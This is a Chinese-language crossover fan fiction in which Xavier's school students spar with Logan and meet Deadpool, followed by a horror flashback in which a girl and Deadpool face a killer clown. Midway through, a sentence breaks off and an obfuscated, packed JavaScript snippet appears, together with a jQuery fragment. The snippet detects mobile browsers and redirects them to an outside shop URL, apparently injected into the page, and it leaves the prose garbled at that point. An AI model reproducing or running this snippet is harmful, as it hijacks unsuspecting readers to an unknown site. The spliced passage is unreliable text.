泽维尔天才少年天赋学院的训练场。
训练场的地面铺着一种特殊的缓冲材料,据说这种材料是汉克·麦考伊博士从某个外星科技逆向工程来的,能够吸收百分之九十以上的冲击力,理论上可以承受浩克级别的一拳。
当然,“理论上”这个词总是让人有点心虚。
灯光是从天花板上的无数个嵌入式灯板中洒下来的,均匀得没有任何阴影,把训练场的每一个角落都照得纤毫毕现。
特里克西站在训练场的角落,她的头发被一根黑色皮筋扎成了一个不太规整的丸子头。
她今天穿了一件深灰色的运动背心,外面套着一件半拉开的黑色卫衣,卫衣的袖子被卷到手肘的位置,露出前臂。
她的手臂确实很细,手腕细得像一截刚抽芽的柳枝,指甲剪得很短,没有任何装饰。
她正在做拉伸,左腿抬起来架在旁边的单杠上,身体前倾。
哈利·奥斯本的声音从旁边传过来,带着一种欠揍的慵懒,“你要上场跳芭蕾舞给罗根看吗?”
他靠在训练场边缘的墙壁上,双手抱胸。
他穿着一件黑色的紧身训练服,那种料子像第二层皮肤一样贴在他的身上,勾勒出肩膀和胸部的轮廓,虽然他的脸看起来还是那种“养尊处优的富二代”式的苍白和精致,但衣服下面的肌肉线条已经比高中时期结实了不少。
“没准我是要带着你上场进行马戏表演呢,长腿猴子。”特里克西把腿从单杠上放下来,拍了拍裤腿上的灰,转过身看着哈利“而且一个之前连后空翻都做不出来的人,到底有什么脸嘲笑我?”
“我会做后空翻。”哈利的表情在那一瞬间变得非常微妙。
“靠变异么,病弱小子?”玛丽·简·沃森从训练场的另一头走过来。
她向来在各种战线与特里克西站在一块儿。
哈利理直气壮,“这叫合理利用资源,当你身边有了一名超能力小子,借他一管血用用又不怎样。”
特里克西歪了一下头,表情介于震惊和好笑之间“哈利·奥斯本,你真的是我见过的最资本主义的资本主义。”
“这件事难道不是我最有发言权吗?”彼得震惊。“而且你借的方式合法合规吗?”
哈利拍拍彼得的肩膀“你不也差点把我老爹弄死吗,咱们两平了。”
玛丽简龇牙咧嘴的摇头“好地狱,感觉笑一下会扣功德,感觉我们今天不是来这里训练的,而是来参加《吐槽大会》的。”
“《吐槽大会》已经被封了。”特里克西举起一只手。
“那我们就开一个新的。”哈利说,“叫《哈利和他的废物朋友们》。”
“得了吧,你以为自己姓波特吗?”玛丽简翻了个白眼。
训练场的另一侧,金刚狼——罗根·豪利特从门后面走了出来。
罗根走到训练场中央,目光在四个小孩身上扫了一圈。
“看你们这么有活力,应该是准备好了。”他说。
他的身体从训练场中央弹射出去。
把他们冲散,然后逐个击破。
这是一个在无数次实战中被验证过的有效策略。
面对多个敌人,最忌讳的就是被包围。
但如果能把他们冲散,局势就会逆转。
从防守者变成猎手,从猎物变成猎人。
就算至始至终没有使用过狼爪,孩子们也仍旧抵抗不过他。
他的脸撞上了一团白色粘稠的蛛丝。
罗根的视线被挡住了,眼前只有一片白色。
他的身体在失去视觉的瞬间本能地减速了,听觉在那一瞬间被放大了无数倍。
他刚刚把蛛丝从脸上撕下来,就看见了站在不远处挥手的蜘蛛侠。
然后他感觉到了,有什么东西从他的身后攀了上来。
在他感觉到她的存在之时,她的双腿已经从他的身后伸过来,钳住了他的脖子。
但这招对于轻量级选手并不适用,罗根毫不费力的将她从背上扯了下来,摔出去。
特里克西撞在了哈利的身上,哈利拎着她的领子往前推了推,格外无语的说“学艺不精就不要随便使用黑寡妇的绝招好吗?”
玛丽简在体术上花的时间比特里克西多得多,她没有超能力,没有变异,没有高科技装备,她只有她的身体和她的意志,所以她把这两样东西训练到了极致。
她的高踢腿从下往上划了一道弧线,脚尖在空中画出一条几乎笔直的线,速度极快。
在玛丽简身姿的遮挡之下,彼得很快上阵,从金刚狼的下盘攻来。
在被金刚狼迅速躲过后,又变成了一个肘击。
罗根的身体在那股冲击力下向后退了两步,终于展露了笑意“光用蛮力可不行。”
“当然不止蛮力。”特里克西的声音从罗根的左侧传过来。
罗根转过头,看到她站在大概五米外的地方,双手插在卫衣口袋里,姿态闲适。
“还有技巧。”哈利从他的右侧走过来。
玛丽简顺势接话“只是技巧比较下流罢了。”
四个小孩突然露出邪恶的笑容。
离得近的彼得突然开始攻击金刚狼的下三路,金刚狼试图防守的时候被蛛丝黏住了手。
其余三个小孩利用特里克西的传送盘瞬间传送到极近的位置,导致金刚狼在迎面吃到了哈利一拳头之后,头手脚又被几个小孩全方位的禁锢着动弹不得。
特里克西对着查尔斯投去一个wink“这是不是应该算我们赢?”
查尔斯回以一个wink“我说可不算。”
罗根被几个人压在地上无法起身,又没办法真的给这群小孩一人一爪子,只好说自己输了。
科特在旁边兴奋的为特里克西鼓掌。
然后他被罗根瞪了一眼。
科特的手小心翼翼地放了下来,然后在罗根看不见的角度,科特对着特里克西比了一个耶。
罗根无差别给了每一个人一个暴栗,四个人站成一排,每个人都在揉自己的头顶。
场面一度非常滑稽。
玛丽简第一个把手从头顶上放下来,然后她耸了耸肩“我作为一个普通人能和一帮超能力者一起合作,而且还能赢,简直就是平替版的黑寡妇,要不是不允许,我都想为自己写一篇报道了‘普通人的非凡之旅:一个啦啦队队员如何成为神盾局最硬核的后援’。”
特里克西从旁边探过头来“感恩尼克·弗瑞的教育吧,他骂人的词汇量真的很丰富,我觉得这已经能称得上是种族天赋了。”
哈利把额前的头发往后推了一下,动作潇洒“我的人生才最应该被书写吧?得了家族遗传病的病弱富二代美少年,意外通过药物变异。”
特里克西看着他“变异成哥布林到底有什么可骄傲的?这种东西,随便打开一部美少女里番,遍地都是,战斗起来你那面具一戴,谁能分得清正牌反派。”
彼得面无表情的捂住耳朵“真的很想装作听不懂你们在说什么。”
哈利深吸了一口气“如果哪部里番里面出现了一只像我这么帅的哥布林,那就偷着乐吧。”
这种小学鸡吵架一天至少发生三次,玛丽简觉得耳朵里面都要生茧子了,她转过身,朝罗根的方向走去,试图讨教更多技巧。
彼得·帕克站在哈利和特里克西之间“其实哈利的制服也挺好看的。”
“对吧?”哈利转过头,看着彼得。
“而且,”彼得继续说“最近不是挺流行绿色的吗?绿灯侠的制服不也是绿色的吗?”
一个阴沉沉的声音从训练场的上方传了下来“我刚刚听到有人提到绿灯侠?”
彼得的身体在那一瞬间绷紧了,他的蜘蛛感应在他的脑子里炸开了,他的目光投向训练场的上方。
训练场的天花板很高,高到穹顶上的灯板在几百米高的位置看起来像一颗颗小小的星星。
在那些金属梁柱的交错处,灯光照不到的阴影里有一个人。
他蹲在天花板的架子上。
深红色与黑色交织的紧身衣。
死侍。
韦德·威尔逊。
彼得·帕克的蜘蛛感应最强烈的“危险源”之一,排名仅次于“梅姨知道我晚上出去当义警”和“JJJ又在号角日报上骂我”。
“你怎么在这里?”彼得的声音从牙缝里挤出来。
“他是这里训练老师之一。”一个声音从训练场的入口处传过来,查尔斯·泽维尔坐在轮椅上,从门后面缓缓出来。
“韦德·威尔逊,”查尔斯继续说“虽然平时看上去不太着调,但也挺尽职尽责的。”
彼得缩了缩脖子。
“我开始怀疑这所学校的含金量了。”他说,声音小得像在自言自语。
查尔斯的嘴角弯了一下。“我理解你的担心,但我可以向你们保证,韦德在教学方面是有经验的,而且他的教学方法虽然有时候比较独特,但效果还是不错的。”
“我们不是在聊绿灯侠吗?”特里克西开口了“一位非常具有时代特色的超级英雄,虽然前几年看上去跟一坨屎一样,但这几年屎的花样齐出,导致它看上去倒也中规中矩。”
她说完之后,歪了一下头,看了一眼天花板上那个黑红色的身影,然后她话锋一转。“话说——我们是不是见过?”
死侍蹲在天花板的架子上,他的头微微歪了一下“Nope~”他的声音从面罩下面传出来“我不知道漫威什么时候出了一个你这样的角色。”
他停了一下,身体微微前倾“自从漫威被迪士尼收购之后,剧情就像脱缰的野马一样,变成了我也看不懂的样子了。”
特里克西面无表情“我是隔壁DC的,蝙蝠崽文学听过没。”
哈利·奥斯本的脑袋从彼得的身后探了出来“发生啥了?”
“我不知道。”彼得声音也压得很低“可能神州六号对接成功了吧,你也知道特里克西的脑回路正常人很难匹配上。”
韦德从天花板的架子上跳了下来,和特里克西的对话让他显得有些激动。
彼得的身影挡在了他和特里克西之间。
他的另一只手把哈利推到了前面。
“你——”哈利的声音从喉咙里挤出来,带着震惊。
彼得转过头,看着查尔斯·泽维尔。
“泽维尔教授,”彼得开口了“您真的要让他来教我们吗?他上次差点把我的脑袋砍成两半,而且自从他出现之后,我脑子里的蜘蛛感应就没停过,他就不能少对人释放一点杀意吗?”
“我理解你的感受。”查尔斯说,声音依然温和,“但韦德在教学方面是有经验的——”
韦德双手摊开,掌心朝上“我知道你们可能对我有一些……”他歪了一下头,似乎在寻找一个合适的词“——误解。”
“误解?”彼得的声音又拔高了一个调。
特里克西真的很想知道自己在哪里见过这个怪人。
“你……”他说“看起来不像是一个会出现在这里的人。”
“那我看起来像是一个会出现在哪里的人?”特里克西问。
韦德想了想“迪士尼频道?”
特里克西的嘴角弯了一下“谢谢,你看起来也不像一个会出现在这里的人。”
“那我看起来像是一个会出现在哪里的人?”
特里克西想了想“HBO。”
韦德的白色眼罩区域在那一瞬间放大了一下“我喜欢你。”
特里克西还没来得及谢谢,一把寒光凌冽的武士刀就劈头盖脸的杀了过来。
三个小伙伴一齐向后跳了一步躲过,分别站位于不同的地方。
站在一边的玛丽简瞪大了眼睛“他掏刀子算正常吗?”
罗根表示“他会有分寸的。”
特里克西开始回忆。
那是一个她试图从记忆的深海中打捞上来的碎片。
空气里有腐烂的南瓜味,那些被雕成笑脸的南瓜在门廊上放得太久,表皮开始发皱,从橙色变成褐色。
她还记得血的味道。
但那是后来的事了。
塔拉被绑在椅子上。
她的手腕被粗糙的麻绳绑在扶手上,绳子勒得很紧,她的脚踝也被绑住了,绳子从脚踝绕了好几圈,然后穿过椅子的横杆,打了三个死结。
空气里有一股浓重的、像是什么东西腐烂了很久的气味。
她看到了他。
他站在房间的中央。
那个在披萨店遇到的,滑稽的黑白配色小丑。
谁能想到他居然是杀人魔呢?
塔拉的眼睛在他的身上停留了大概两秒。
然后目光被房间里另一个东西吸引了。
角落里,有一个被巨大布匹遮住的东西。
形状看上去,很像是一个人。
塔拉的心脏在那一瞬间漏跳了一拍。
她不敢细想那块布下面是什么。
小丑动作夸张得像一个在舞台上表演的默剧演员,他的手臂张开,身体旋转了半圈,然后他抓住那块布匹的一角。
用力一扯。
布料在空中滑过,落在地上。
塔拉愣住了。
布匹下面是一个商城的模特。
它被倒吊着。
脚尖朝上,头朝下,双腿岔开。
滑稽得甚至有点诡异了,让塔拉觉得刚才想那么多的自己简直是脑子有病。
“你
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17579716|202532||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
是认真的吗?”她问。
小丑猛地转过头,投向那个倒吊着的模特。
他的身体在那一瞬间变得僵硬了。
他的头又转回来了。
然后他又转过去了。
他看着那个倒吊着的模特,头歪了一下。
等小丑终于把头转回来时,他看到了那个站在塔拉身前,不过十岁左右的小女孩。
她穿着一件马戏团小丑的服装,脸被颜料涂得苍白滑稽,在被抓包后站直了身体。
她把剪刀已经递给了塔拉,从身后摸出了一个手捏喇叭。
对着小丑的方向。
“噗——叽——————”
讽刺意味十足。
塔拉的脚上的绳子终于被剪断,她从椅子上站起来。
被激怒的小丑拿着手锯缓慢靠近。
塔拉想拉着那个小女孩一起跑。
小女孩水灵灵的掏出了一把油锯。
她右手握着油锯的手柄,左手托着油锯的底部,费力拉了一下油锯的启动绳。
“嗡——————”
油锯转动了。
那声音在封闭的空间里被放大了无数倍,小丑被吓得后退了两步。
小女孩的嘴角弯了一下,那张画上去的猩红弧线,在那道旋转的银白色光环的映照下,像一张血淋淋的嘴“我人小,控制不太住。”
她歪了一下头。
“误伤谁就不好了,你说是吧?”
塔拉对着小女孩鞠了一躬,转身就跑。
她跑过黑暗的走廊,跑过那些紧闭的、不知道通往哪里的门,跑过那些在墙上投下的像鬼影一样的影子。
她跑下楼梯。
大门在面前,门把手上有一层厚厚的铁锈的门,无论怎样都扯不开,周围也没有其他出口。
过了一会儿小女孩满脸是血的下来了,她抹了把脸上的血有点尴尬的告诉塔拉“我好像低估那个恶魔了,虽然它战力确实挺弱的,但我毕竟还是个小孩子,而且——我刚刚貌似给它提供了一把极其危险的武器。”
然后——
楼上传来了一声响。
“嗡——————”
与此同时。
路灯昏黄。
道恩一瘸一拐地走在路上。
她走了大概两百米,看到了一个公共电话亭。
“911,你有什么紧急情况?”
道恩的嘴巴在颤抖“我……我和我的朋友…被绑架了——”
“好的,女士,我们正在定位你的位置,请你保持——”
听筒里传来“嘟——嘟——嘟——”的声音。
道恩把听筒放回去。
一个影子从她的身后贴了上来。
她转过头,他的脸藏在卫衣的兜帽下面。
兜帽拉得很低,遮住了他的额头和眼睛,只露出下半张脸。
像一张被火烧过的,然后又被随意粗暴地像拼图一样拼回去的面具。
“你刚刚……”他的声音从那张破碎的嘴里传出来“向警察报告了什么?”
道恩的腿在发软,她的眼泪从眼眶里涌出来。
她把一切都说了,她和塔拉是怎么被那个小丑绑架的。
她是怎样被倒挂在架子上,头朝下,脚朝上,她以为自己会死在那里的。
她说了那个小女孩是怎么出现的。
男人听完了,抓住了道恩的后领,把她从电话亭里拎了出来。
他把她放在地上,然后弯下腰,把脸凑到她的脸前面,近到她能看清他眼睛里的血丝,闻到他身上那股混合了烟味和铁锈味的气味
“带我去。”他说。
“如果——你敢——中途跑掉——”他的嘴角动了一下—“——我会把你的腿砍下来,让你这辈子都跑不了。”
道恩的眼泪掉得更厉害了,她点了点头。
他们到了那栋房子。
一声塔拉的尖叫从房子里传了出来。
男人不知道从哪里掏出了一把武士刀,砍了一下门锁,一脚踢开了门。
道恩跟在后面。
墙上的墙纸已经剥落了,露出下面灰白色长着霉斑的墙面。
小丑站在那里,一只手拎着一个小女孩的头发,另一只手握着一把油锯。
油锯的链条在高速旋转着,发出“嗡——”的声音,震耳欲聋。
小女孩的头发被小丑的手抓在手里。
她的身体悬在半空中。
武士刀飞了出去,撞上了油锯。
油锯从小丑的手里飞了出去。
它在空中旋转了几圈,砸在地上,发出一声沉闷的声音,然后滑到了房间的角落。
在失去控制之后,小女孩落到了地上,她的身体在地面上翻滚了两圈,塔拉伸出手,抓住了她,手臂从她的腋下穿过去,绕到她的胸前,把她整个人抱进了怀里。
所有人都在看着那个突然出现男人。
第二把武士刀从他的手里飞了出去,刀刃在空中旋转着,钉在了小丑的胸口。
他扯了两下发现扯不下来之后,头一歪,像死了一样。
特里克西从塔拉的怀里挣脱了。
她走到小丑面前仰着头,伸出手按在了小丑颈动脉的位置。
没有脉搏,鼻息,也没有。
“Art?你还在吗?”小女孩双手做喇叭状。
“装模作样。”她说。
一只手从她的身后伸过来,抓住了她的后领。
特里克西的身体被那只手从地面上提了起来。
塔拉想上前拯救被桎梏的特里克西,却被道恩拉住了。
她的身体在半空中轻轻晃了一下,像一只被拎住后颈表情烦躁的小猫。
他低下头,把脸凑到她的脸前面。
在那张满是痕迹的脸上,只有那双蓝色眼睛明亮。
“你为什么在这里?”他的声音低沉“你不知道血腥暴力是18+影视作品吗?你觉得你这个年纪是可以随便观看的吗?”
特里克西看着他,嘴角弯了一下“死侍难道就不算是18+作品了吗?”
男人的眼睛眯了一下,他的嘴角咧开,露出一口白牙“福克斯在被迪士尼收购之后,死侍就已经不是18+了,我甚至能甩着金刚狼的骨头在中国的影院里唱超级男孩的歌。”
特里克西看着他,表情微妙的鼓掌“那还真是恭喜你啊,无父无母,受人诅咒,经历坎坷,要是再遇上一个王子——你就是合格的公主了。”
男人看着她。
他的眼睛在兜帽的阴影下面亮着,嘴角弯了一下。
“我喜欢你。”他说。
“谢谢。”特里克西说,“我也喜欢我自己。”